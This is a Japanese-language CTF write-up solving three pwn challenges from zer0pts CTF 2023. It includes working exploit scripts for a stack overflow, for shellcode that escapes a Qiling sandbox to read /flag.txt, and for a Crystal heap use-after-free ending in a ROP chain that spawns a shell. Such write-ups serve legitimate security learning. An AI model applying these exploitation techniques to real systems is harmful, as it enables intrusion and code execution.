開催ありがとうございました。 TSGで参加して、14位だったらしい。pwnのaush, qjail, WISEを解いたのでそれのwriteupです。
aush (99pts 101solves)
ちょうど良いwarmupだった
char *args[3]; char inpuser[LEN_USER+1] = { 0 }; char inppass[LEN_PASS+1] = { 0 }; char username[LEN_USER] = { 0 }; char password[LEN_PASS] = { 0 }; /* 略 */ write(STDOUT_FILENO, "Username: ", 10); if (read(STDIN_FILENO, inpuser, 0x200) <= 0) return 1; if (memcmp(username, inpuser, LEN_USER) != 0) { args[0] = "/usr/games/cowsay"; args[1] = "Invalid username"; args[2] = NULL; execve(args[0], args, envp); }
となっており、オーバーフローが自明にできる。inpuserをオーバーフローしてusernameからpasswordまで書き換えれば終わりかと思ったが、どうやらusernameの方がバッファとしてstackの上に取られる模様。つまりusernameが当てられないと即execveされてしまう。
これを回避するためにenvpをinvalidなpointerにすることで、syscallを失敗させる。実際バッファオーバーフローは十分大きいので、環境変数を破壊することができる。
payload_1 = b"A" * 0x198 + b"\xff\xff" payload_2 = b"A" * (0x198 - 0x20 - 0x20) + b"\x00\x00" rs(payload_1, new_line=False) wait_for_attach() rs(payload_2, new_line=False) interactive()
qjail (146pts 42solves)
Qilingというbinary instrumentationツールを用いたsandbox
以下のようなsandbox
#!/usr/bin/env python3 import qiling import sys if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <ELF>") sys.exit(1) cmd = ['./lib/ld-2.31.so', '--library-path', '/lib', sys.argv[1]] ql = qiling.Qiling(cmd, console=False, rootfs='.') ql.run()
を使って次の自明なBoFがあるプログラムを動かす
#include <stdio.h> int main() { char name[0x100]; setbuf(stdin, NULL); setbuf(stdout, NULL); puts("Enter something"); scanf("%s", name); return 0; }
ただしchecksecが
ubuntu@ip-172-31-24-131:~/zer0pts_23/qjail/bin$ checksec --file=vuln [*] '/home/ubuntu/zer0pts_23/qjail/bin/vuln' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
なので、かなり不可能そうな見た目。 ただQilingについて調べると(こういうエミュレーターソフトウェアあるあるだが)
- canaryは0xaaaaaaaaaaaaaa00固定
- ASLRなし
- stackが実行可能
ということがわかったので、stackにshellcode流して、retアドレス書き換えによるRIP制御で飛ばせば良いことがわかる。
最後の問題は、 qiling.Qiling(cmd, console=False, rootfs='.')
と実行されており、rootfsが.にあるので、 /flag.txt
が読めない点だが、 これは *1 openatをしつつ絶対パスを渡すことで回避できるバグが今でも存在するので、それをすればよい。
main = 0x7fffb7dd71a9 canary = b"\x00aaaaaaa" canary_addr = 0x80000000dd48 flagbuf = 0x80000000dc40 databuf = 0x80000000db40 payload = b"/flag.txt" + b"\x00" * 7 payload_addr = flagbuf + len(payload) print(hex(payload_addr)) asm_payload = f""" mov rdi, 1 mov rsi, {flagbuf} mov rdx, 0 mov rax, 257 syscall mov rdi, rax mov rsi, {databuf} mov rdx, 100 xor rax, rax syscall mov rdi, 1 mov rsi, {databuf} mov rdx, 100 mov rax, 1 syscall """ asm_payload_bin = asm(asm_payload) print("len: ", hex(len(asm_payload_bin))) assert(len(asm_payload_bin) < 0x80) payload += asm_payload_bin payload += b"A" * (0x108 - len(payload)) payload += canary payload += p64(payload_addr) payload += p64(payload_addr) recvuntil(b"Enter something") sendline(payload) #with open("../qjail_solver/payload", "wb") as f: interactive()
WISE (304pts 8solves)
Crystalで書かれた簡単なnoteアプリのpwn。 ソースコードは以下に示すように短くバグも明らかで、iterator invalidationチックな、listサイズのreallocationに付随して起こるUAFが存在する。ただ、Crystalとかいう謎言語のpwnなので、ここからが難しい。 *2
suspect = nil id_list = [] of UInt64 name_list = [] of String puts "1. Add new citizen", "2. Update personal information", "3. Print list of citizen", "4. Mark as spy", "5. Give memorable ID to spy", "6. Print information of spy" loop do print "> " STDOUT.flush case gets.not_nil!.chomp.to_i when 1 id = Random.rand(UInt64) print "Name of person: " STDOUT.flush name = gets.not_nil!.chomp id_list.push(id) name_list.push(name) puts "ID: #{id}" when 2 print "ID: " STDOUT.flush index = id_list.index gets.not_nil!.chomp.to_u64 if index.nil? puts "[-] Invalid ID" else print "New name: " STDOUT.flush name_list[index] = gets.not_nil!.chomp end when 3 id_list.zip(name_list) { | id, name | puts "----------------", "ID: #{id}", "Name: #{name}" } when 4 print "ID of suspect: " STDOUT.flush index = id_list.index gets.not_nil!.chomp.to_u64 if index.nil? puts "[-] Invalid ID" else puts "[+] Marked '#{name_list[index]}' as possible spy" suspect = id_list.to_unsafe + index end when 5 if suspect.nil? puts "[-] No spy marked" else print "New ID: " STDOUT.flush suspect.value = gets.not_nil!.chomp.to_u64 end when 6 if suspect.nil? puts "[-] No spy marked" else puts "ID: #{suspect.value}" index = id_list.index suspect.value if index.nil? puts "Name: <unknown>" else puts "Name: #{name_list[index]}" end end else break end end
メニューの各機能の概要は次の通り
- 任意長の名前で人を登録。64bit のIDが付与される
- IDを指定して名前を更新
- 登録されている人のリストを表示
- IDを指定して、suspectな人のint_listのエントリへのpointerを得る
- suspectなpointerに値を代入
- suspectなpointerから値を読む
試行錯誤 + libgc のソースコードリーディングの結果、特に細かなチェックは存在しないので、雑にfreelistにつないだバッファをUAFをしてpoisoningするだけとわかる。そのためのおおまかな工程は以下の通り
- 十分大きなサイズのid_listを作る
- id_listの0番目をsuspect
- id_listのサイズを増やして、元のid_listをfree -> id_listがfree listへつながる
- suspectへのwriteを使ってfree listのfdをid_list自身を含む場所に書き換える(これを後ほどmallocする)
- 3でfreeしたid_listと同じサイズの名前で人を2回addし、id_listを上書き。id_list bufを自分自身にする
- メニューの3と5と6を利用してAAR (program base / libc_base / stack addressのリーク)
- 最後に4と5でポインタを移動させてROPを組む
ただ、随所でCrystalの気持ちを読む必要があり、それは気合 *3
def add(name): menu(1) rs(name) recvuntil(b"ID: ") return int(recvline()) def update(id, name): menu(2) rs(str(id).encode("ascii")) rs(name) def get_info(): recvuntil(b"ID: ") id = int(recvline()) recvuntil(b"Name: ") name = recvline() return (id, name) def print_list(do_print=False): menu(3) citizens = [] while True: if recv(1).startswith(b">"): break (id, name) = get_info() if do_print: print(f"{id}: {name}") citizens.append((id, name)) sendline(b"3") return citizens def mark(id): menu(4) rs(str(id).encode("ascii")) #recvuntil(b"[+] Marked '") #name = recvuntil(b"'") #return name def give_id(id): menu(5) rs(str(id).encode("ascii")) def print_spy(): menu(6) return get_info() """ a_id = add("A") b_id = add("B") update(b_id, "BB") print_list() c_id = add("C") s = mark(c_id) print(s) assert(mark(c_id) == b"C") give_id(123) assert(print_spy()[0] == 123) """ a_id = add("A") print(f"a_id: {hex(a_id)}") mark(a_id) for i in range(3): add("A") heap_base = print_spy()[0] print(f"heap_addr: {hex(heap_base)}") #array_buf_addr = heap_base + 0x1a00 #string_array_addr = #string_array = heap_base - 0x4100 #print(f"array_buf_addr: {hex(array_buf_addr)}") #print(f"string_array: {hex(string_array)}") int_array = heap_base - 0x30e0 string_array = int_array - 0x20 print(f"int_array: {hex(int_array)}") for i in range(39): add("A") mark(a_id) print(print_spy()) for i in range(5): add("A") add("A") wait_for_attach() add("A") print(print_spy()) wait_for_attach() target = int_array + 32 - 0x1b0 + 0x10 print(f"target: {hex(target)}") # print(target) # interactive() give_id(target) add("A" * 0x1b0) wait_for_attach() victim = heap_base + 0x13f20 def to_h(x): return x - 0x7f7e4eb5ef80 + heap_base ''' 0x7f7e4eb5be40: 0x000000000000008b 0x0000000400000001 0x7f7e4eb5be50: 0x00007f7e4eb60ed0 0x0000000000000000 0x7f7e4eb5be60: 0x000000000000008b 0x0000000400000001 0x7f7e4eb5be70: 0x00007f7e4eb60f00 0x0000000000000000 0x7f7e4eb5be80: 0x0000003100000004 0x0000000000000060 0x7f7e4eb5be90: 0x00007f7e4eb79c80 0x0000000000000000 0x7f7e4eb5bea0: 0x000000310000001a 0x0000000000000060 0x7f7e4eb5beb0: 0x00007f7e4eb78c80 0x0000000000000000 ''' payload = [ 0x000000000000008b, 0x0000000400000001, to_h(0x00007f7e4eb60ed0), 0, 0x000000030000008b, 0x0000000400000000, to_h(0x00007f7e4eb60f00), 0x0000000000000000, 0x0000000400000004, 0x0000000000000060, to_h(0x00007f7e4eb79c80), 0x0000000000000000, 0x000000040000001a, 0x0000000000000060, to_h(0x00007f7e4eb78c80), 0x0000000000000000, 0x000000000000008b, 0x0000000000000000 ] payload[-4] = int_array payload = b''.join(map(p64, payload)) payload = b"\x00" * (0x1b0 - len(payload) - 12) + payload add(payload) mark(int_array) prog_addr = heap_base - 0x15c0 give_id(prog_addr) #interactive() update(0, "hoge") l = print_list(do_print=False) prog_base = l[0][0] - 0x103e10 print(f"prog_base: {hex(prog_base)}") printf_got = prog_base + 0x129c10 give_id(printf_got) l = print_list(do_print=False) if is_gaibu: # <__printf> libc_base = l[0][0] - 0x60770 environ = libc_base + 0x221200 binsh = libc_base + 0x1d8698 system = libc_base + 0x50d60 else: # <__printf> libc_base = l[0][0] - 0x60770 environ = libc_base + 0x221200 binsh = libc_base + 0x1d8698 system = libc_base + 0x50d60 pop_rdi_ret = prog_base + 0x5dbc4 ret = pop_rdi_ret + 1 print(f"libc_base: {hex(libc_base)}") give_id(environ) l = print_list(do_print=False) stack_addr = l[0][0] print(f"stack_addr: {hex(stack_addr)}") ret_addr = stack_addr - 0x190 current_val = prog_base + 0xea1a9 give_id(ret_addr) mark(current_val) give_id(pop_rdi_ret) mark(0) give_id(binsh) mark(0) give_id(ret) mark(0) give_id(system) print(f"stack: {hex(ret_addr)}") print(f"current_val: {hex(current_val)}") interactive()
感想
DEF CONを除くと(?)、今年始めてのまともに参加したCTFかもしれない(ある程度は追ってはいたが、フルには参加していなかった)。CTFを久々にやると、定数倍解くのが遅くなるといった感じがあり、flippersあたりまで本当は手が出せるとよかったなあという感じ。
BrainJITやmimikyuにも微妙にちゃちゃを出したもののそれらと上で解いた問題以外はほとんど知らないが、基本的に問題に必要な最小限の実装と、ソースコードの提供があり、ストレスの無いCTFで体験が本当に良かった(まあこれはzer0pts CTFとしては、いつものことでもある(?)が)。運営お疲れ様でした。
*1:smallkirbyが Qiling Sandbox Escape | Kalmarunionen というwriteupを引っ張ってきてくれた
*2:弊チームには、AtCoder LibraryのCrystal版 を書くほどのCrystal使いであるところの 博多市 がいるので、当然Crystalのheap allocatorの動作にも詳しいはずと思って聞いたが教えてくれなかった。
*3:id_list上書きのとき付随して上書きされてしまうstringに関するメタデータ(String型の値は HEADER + bufferみたいな形をしている)が結構厄介で、なんか知らんけど適当に上書きすると色々動かず、また使われていそうな場所をexactに書き換えても動かず試行錯誤した結果 https://gist.github.com/moratorium08/29014b181fc3cab7181f7e361bc74fb4#file-wise-py-L239 にあるようになぜか1な場所を0にすると動いたりした。また小さいバッファはto_u64はgetsなどで結構使われているので、大きめのid_listをUAFに使わないといけない